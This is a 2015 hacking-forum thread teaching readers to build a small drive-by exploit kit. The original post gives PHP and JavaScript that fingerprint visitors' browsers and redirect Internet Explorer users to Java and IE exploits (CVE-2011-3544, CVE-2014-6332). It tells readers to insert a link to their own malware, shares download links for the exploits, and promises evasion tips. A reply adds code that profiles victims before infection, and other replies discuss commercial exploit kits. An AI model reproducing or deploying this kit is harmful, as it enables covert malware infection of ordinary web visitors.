

Forum:[Hack Forums](#)

Thread: [\[TUT\] How to create your own mini exploit kit \(EXPLOITS INCLUDED\)](#)

Nullled_ - February 26, 2015, 2:24 pm

Hey everyone, Im going to teach you all how to make your own little exploit kit!

Things you need:

- Basic php hosting
- Basic php/html knowlage
- Basic exploit kit understanding

Keep in mind, this is an example. These exploits provided only work on internet explorer 11, and people with java 6-7.

This "mini" exploit kit will be using the following CVE's:

CVE-2011-3544 (Java drive by)

CVE-2014-6332 (IE 11 exploit *props to bull for leaking it*)

you can download these exploits in the downloads section at the bottom of this thread:)

To get started, you're going to want to make your index.php.. It should look something like this. All the index.php does is detect the browser, and if its internet explorer, it redirects them to load.php, and if its not internet explorer, it gives them an error (feel free to change the error message)

Code <?php

// Mini exploit kit made by Nullled_ @ hf

// Index.php

// DETECT BROWSER

```
$browser = $_SERVER['HTTP_USER_AGENT'];
```

```
$chrome = '/Chrome/';
```

```
$firefox = '/Firefox/';
```

```
$ie = '/MSIE/';
```

```
if (preg_match($chrome, $browser)) {
```

```
    echo "Unable to load page! Try using Internet Explorer instead of Chrome"; //throw error because user isnt using ie
```

```
}
```

```
if (preg_match($firefox, $browser)) {
```

```
    echo "Unable to load page! Try using Internet Explorer instead of FireFox"; //throw error because user isnt using ie
```

```
}
```

```
if (preg_match($ie, $browser)) {
```

```
    header("Location: load.php"); // direct to load.php
```

```
    exit();
```

```
}
```

?>

After making the index.php, were going to want to make a php file called load.php. This file detects if it has java installed, and if they do then it delivers the exploit to them. And if it has ie 11 installed, it delivers that exploit.

Code <?php

?>

<html>

<body>

<script type="text/javascript">

[b]<!--[/b]//

self.location.href = "exploits/java/index.html";

//-->

</script>

<noscript>

<script type="text/javascript">

[b]<!--[/b]//

self.location.href = "exploits/ie/index.html";

//-->

</script>

</noscript>

</body>

</html>

So now we have our main files. Now were going to make a folder called "exploits" inside this folder you will make 2 more folders, one named "java", and another named "ie".. As you can probably already tell, you are going to want to but the java exploit into the "java" folder, and the ie exploit into the "ie" folder.

Now that you got the exploits, look at index.html in the java exploit and replace "google.com" with your DIRECT link to your malware!

For the ie exploit, do the same, but it might be a tad harder to find the "google.com" (hint: near the top)

You should be all set. Feel free to change around some code to suit it to your liking, and maybe add some exploits.

Feel free to pm me with any questions or problems. or just post a reply and ill get back to you ??

IF WE CAN GET 30 REPLYs, ILL UPDATE IT SHOWING HOW TO TRACK TRAFFIC, AND LOADS, AND HOW TO FUD IT!

Downloads:

Source .zip

Spoiler ([Click to View](#))

ge(dot)tt/2m373GB2/v/0

java/ie exploit

Spoiler ([Click to View](#))

ge(dot)tt/4Eve1GB2

Serion - February 26, 2015, 2:27 pm

Great tutorial mate, btw here's the link for everyone: <http://ge.tt/2m373GB2/v/0>

Nullled_ - February 26, 2015, 2:29 pm

(Feb 26, 2015 03:27 PM)Serion Wrote: [\[CITE\]](#) Great tutorial mate, btw here's the link for everyone:
Thanks brah, hope some people can get something good out of this!

negthreeaddsixequalsthree - February 26, 2015, 2:35 pm

OP is autistic and doesn't know how to code.

/thread

Nullled_ - February 26, 2015, 2:37 pm

(Feb 26, 2015 03:35 PM)negthreeaddsixequalsthree Wrote: [\[CITE\]](#) OP is autistic and doesn't know how to code.

/threadare you mad because your thread gave everyone cancer? Point out where i didnt know how to code?

I know more than you will ever know buddy.?

Affluent - February 26, 2015, 2:38 pm

Posting to come back later. Thanks bb.

Nullled_ - February 26, 2015, 2:39 pm

(Feb 26, 2015 03:38 PM)Zoom Servers Wrote: [\[CITE\]](#) Posting to come back later. Thanks bb.
No problem buddy. Hope you enjoy?

negthreeaddsixequalsthree - February 26, 2015, 2:55 pm

(Feb 26, 2015 03:37 PM)Nullled_ Wrote: [\[CITE\]](#) are you mad because your thread gave everyone cancer? Point out where i didnt know how to code?

I know more than you will ever know buddy.?

I can 100% guarantee, you will never know what i know right now in your entire life time.

Stick to your web development basic bullshit you script kiddie.

Nullled_ - February 26, 2015, 3:00 pm

(Feb 26, 2015 03:55 PM)negthreeaddsixequalsthree Wrote: [\[CITE\]](#) I can 100% guarantee, you will never know what i know right now in your entire life time.

Stick to your web development basic bullshit you script kiddie.

basic bullshit? Script kiddie? lol, youre a skid and you know it.

im done fighting with you, my time is worth more than your mom costs for a week.

?

negthreeaddsixequalsthree - February 26, 2015, 3:01 pm

(Feb 26, 2015 04:00 PM)Nullled_ Wrote: [\[CITE\]](#) basic bullshit? Script kiddie? lol, youre a skid and you know it.

im done fighting with you, my time is worth more than your mom costs for a week.

?

wait is that all you have? Redirect my insult and making jokes about my mom?

PolarBeats - February 26, 2015, 3:33 pm

thanks for posting this,

also quick question (kinda stupid) but if you add more code to the load.php to add another exploit

Example of what i mean:

Code <script type="text/javascript">

[b]<!--[/b]//

self.location.href = "exploits/Example/example.html";

//-->would it still function properly?

Raoul Duke - February 26, 2015, 3:34 pm

Thank you very much for that good and simple TuT

Nullled_ - February 26, 2015, 3:36 pm

(Feb 26, 2015 04:33 PM)PolarBeats Wrote: [\[CITE\]](#) thanks for posting this,

also quick question (kinda stupid) but if you add more code to the load.php to add another exploit

Example of what i mean:

Code <script type="text/javascript">

[b]<!--[/b]//

self.location.href = "exploits/Example/example.html";

//-->would it still function properly?

well. say it was a flash exploit right? you would have to make a part in load.php that basically says, if flash is enabled, run X exploit.

you would also want to fix my java code and make it check for version 6-7 of java.

(Feb 26, 2015 04:34 PM)Raoul Duke Wrote: [\[CITE\]](#) Thank you very much for that good and simple TuT

no problem buddy? hope you enjoyed

Medusa- - February 26, 2015, 3:42 pm

Interested in how you track traffic.

Nullled_ - February 26, 2015, 3:45 pm

(Feb 26, 2015 04:42 PM)Medusa- Wrote: [\[CITE\]](#) Interested in how you track traffic.

shoot me a pm and ill explain how.??

__Digital__ - February 26, 2015, 3:54 pm

nice tutorial for everyone here..... I would also like to know your method for tracking traffic.....

Nullled_ - February 26, 2015, 4:00 pm

(Feb 26, 2015 04:54 PM)__Digital__ Wrote: [\[CITE\]](#) nice tutorial for everyone here..... I would also like to know your method for tracking traffic.....

im currently making a guide for that, once we get some more activity on the thread ill post it.

?ULL - February 26, 2015, 4:14 pm

Well you can get the individuals info, before infection using an api call to ipinfo.io like this:

```
Code function client($ip) {
```

```
    $raw = file_get_contents("http://ipinfo.io/{$ip}");
```

```
    $info = json_decode($raw);
```

```
    return $info;
```

```
}
```

```
$detailed = client($_SERVER['REMOTE_ADDR']);
```

```
echo $detailed->city;  
echo $detailed->country;  
echo $detailed->org;  
echo $detailed->hostname;
```

Then store this info into mysql and you have total traffic info. Just create an auto-incriminating int in the table to know total traffic.

HACKED BY CHAOS HACKRS #G - February 26, 2015, 10:51 pm

Nice tutorial, we need more tutorials like this on HF. Cheers mate.

Ruby - February 26, 2015, 10:54 pm

Nice tutorial, great of you to share it.

Chr0nicHax - February 26, 2015, 11:13 pm

Thanks for this, want to see more of this ^^

The Defiant One - February 27, 2015, 2:57 am

Very interesting tutorial. Look forward from you expanding upon it. Thanks!

Kristofferson - February 27, 2015, 3:59 am

Bull didn't leak shit, its on fucking exploit-db + without the is sandboxie escape exploit it won't get shit executions. This thread =cancer.

If you want a free ek go use black hole and modify it to get better rates.

Nullid_ - February 27, 2015, 12:33 pm

(Feb 27, 2015 04:59 AM)?Spanish Wrote: [\[CITE\]](#) Bull didn't leak shit, its on fucking exploit-db + without the is sandboxie escape exploit it won't get shit executions. This thread =cancer.

If you want a free ek go use black hole and modify it to get better rates.

why are you so mad? This isnt to make just an ek, this is to teach people how to get started with making an ek, and understanding it. And no matter what blackhole will be shit, what makes you think an exploit kit from 2 years ago would be anywhere close to "good".. maybe you can use it for the tds, but the people reading this thread sure arent going to be able to load their own exploits into the already shit blackhole source..

Long story short, calm down.

?

GhostintheShock - February 27, 2015, 12:54 pm

Very nice tutorial mate, really appreciate for posting it here.

Kristofferson - February 27, 2015, 2:42 pm

(Feb 27, 2015 01:33 PM)Nullid_ Wrote: [\[CITE\]](#) why are you so mad? This isnt to make just an ek, this is to teach people how to get started with making an ek, and understanding it. And no matter what blackhole will be shit, what makes you think an exploit kit from 2 years ago would be anywhere close to "good".. maybe you can use it for the tds, but the people reading this thread sure arent going to be able to load their own exploits into the already shit blackhole source..

Long story short, calm down.

?>Implying black hole source is shit

Black hole is still one of the best traffic managing eks out there.

I'm not mad, you'd know if I was mad.

I just shits me off when Iq shit like this hits.
If you don't understand how to write an ek don't make one. They're relatively simple.

Nullled_ - February 27, 2015, 2:59 pm

(Feb 27, 2015 03:42 PM)?Spanish Wrote: [\[CITE\]](#) >Implying black hole source is shit
Black hole is still one of the best traffic managing eks out there.
I'm not mad, you'd know if I was mad.
I just shits me off when Iq shit like this hits.
If you don't understand how to write an ek don't make one. They're relatively simple.
i dont know how to make an ek? Lol.. Watch my account for the next month. ??

dd007 - February 27, 2015, 3:49 pm

Hi

I will try this kit and let you know the results ASAP.

Thank you for the tut ?

(Feb 27, 2015 12:13 AM)Chr0nicHax Wrote: [\[CITE\]](#) Thanks for this, want to see more of this ^^
Are you selling the 'Silent Exploit' one? Can you PM me with your price quote and configurations?
Thanks in advance

Kristofferson - February 27, 2015, 10:39 pm

(Feb 27, 2015 03:59 PM)Nullled_ Wrote: [\[CITE\]](#) i dont know how to make an ek? Lol.. Watch my account for the next month. ??
Using php headers and grep to manage traffic is totally a good idea. Your ek would be such a hunk of shit if you made one. Also I'll point out I never said you couldn't. I said that if people can't do it themselves they should have one.

ThePacketBaron - February 28, 2015, 2:33 am

ohhhh thanks a lot for this thread man :D

Anemone¹ - February 28, 2015, 5:04 am

Very nice little mini-tut I've been interested in seeing the behind the scenes to an exploit kit for awhile now and even though this is basic it's very easy to understand and grasp the concept, thank you

Banned For Nothing! - February 28, 2015, 6:45 am

No offence, but eleonore EK is even better then this.

Nullled_ - February 28, 2015, 6:47 am

(Feb 28, 2015 07:45 AM)I Own Ya Mom Wrote: [\[CITE\]](#) No offence, but eleonore EK is even better then this.
this isnt meant for a full blown ek, this is for learning purposes, to see how it works?

Sector 11 - February 28, 2015, 6:49 am

I think both are Public and already leaked by Bull . right ?

??????? - February 28, 2015, 6:52 am

Great release! KEep up your good work <3
cant wait for your BACKtrack release <3

nt-authority.System - February 28, 2015, 9:12 am

(Feb 27, 2015 11:39 PM)?Spanish Wrote: [\[CITE\]](#) Using php headers and grep to manage traffic is totally a good idea. Your ek would be such a hunk of shit if you made one. Also I'll point out I never said you couldn't. I said that if people can't do it themselves they should have one.
that very nice and all but i think you meant *shouldn't lol grammer nazi strikes again

Arise - February 28, 2015, 9:52 am

Thanks for this tutorial, Even though its a simple EK it ctually helps to understand how a they work :) thanks

kolec94 - February 28, 2015, 10:05 am

Nice thread hope to see the updates

Yoshikage Kira - February 28, 2015, 10:08 am

Code self.location.href = "exploits/java/index.html";Why not just iframe it? :P

Nullled_ - February 28, 2015, 10:20 am

(Feb 28, 2015 11:08 AM)Greed? Wrote: [\[CITE\]](#) Code self.location.href = "exploits/java/index.html";
Why not just iframe it? :P
this is ment to be as simple as possible. so non-coders can understand it

Terentino - February 28, 2015, 10:22 am

This maybe will get you a 1% execution rate lol, not worth the traffic or time.

Nullled_ - February 28, 2015, 10:33 am

(Feb 28, 2015 11:22 AM)Terentino Wrote: [\[CITE\]](#) This maybe will get you a 1% execution rate lol, not worth the traffic or time.
ive said this so many times, this is for testing purposes, not to make a full blown ek.

Zinedine Zidane - February 28, 2015, 10:36 am

Good tuto, you can also add Other exploit like Silverright ...

Terentino - February 28, 2015, 10:41 am

(Feb 28, 2015 11:33 AM)Nullled_ Wrote: [\[CITE\]](#) ive said this so many times, this is for testing purposes, not to make a full blown ek.
Well stop being cheap fucking skids and pay for a day of rig for 30\$ or something.

Ooze - February 28, 2015, 10:46 am

Woah great tutorial posting here for when you update on how to get more traffic

Raoul Duke - February 28, 2015, 11:05 am

Even if it's not a perfect l33t haxxor exploit kit it's good to see thread like this one and instead of flamming every people who know how to code should share their snippet and bring help to that project. But it's free so it don't worth time for the people who know "things"

Tricks7er - February 28, 2015, 7:30 pm

Well great tutorial but now I'm worried someone will do the same projects I'm doing, but hey, I'm putting more time into my EK and botnet daily, looks like I'm going to be done soon!

mancity - March 1, 2015, 2:52 am

Great tutorial mate i would give it a try

Anemone¹ - March 1, 2015, 3:22 am

Can anyone upload the exploits to another source I cannot download them off ge.tt, the main source

won't download and the exploits download an empty zip file

Kristofferson - March 1, 2015, 4:24 am

(Mar 1, 2015 04:22 AM)Anemone¹ Wrote: [\[CITE\]](#) Can anyone upload the exploits to another source I cannot download them off ge.tt, the main source won't download and the exploits download an empty zip file

Exploit-db has them all. Because #YOLO

MrMorning - March 1, 2015, 2:02 pm

Thanks for this OP, it's very interesting to learn some basics about an exploit kit.

But could you reupload the files? Didn't work for me.

Anyard - March 1, 2015, 3:21 pm

i like how people think they know everything about computers but really dont know anything at all

Nullled_ - March 3, 2015, 4:49 am

hope everyone enjoyed, ill be updating it soon:)

Kristofferson - March 3, 2015, 12:53 pm

(Mar 3, 2015 05:49 AM)Nullled_ Wrote: [\[CITE\]](#) hope everyone enjoyed, ill be updating it soon:)

Pls no, kill the cancer before it spreads.

mcdaviz - July 16, 2015, 1:51 am

i am so glad and excited you shared this

markzewick - July 25, 2015, 4:49 pm

this is a awesome tutorial buddy, thank you. :)

adwareinc-com - September 10, 2016, 6:21 am

any new version of this tutorial? if yes please tell me...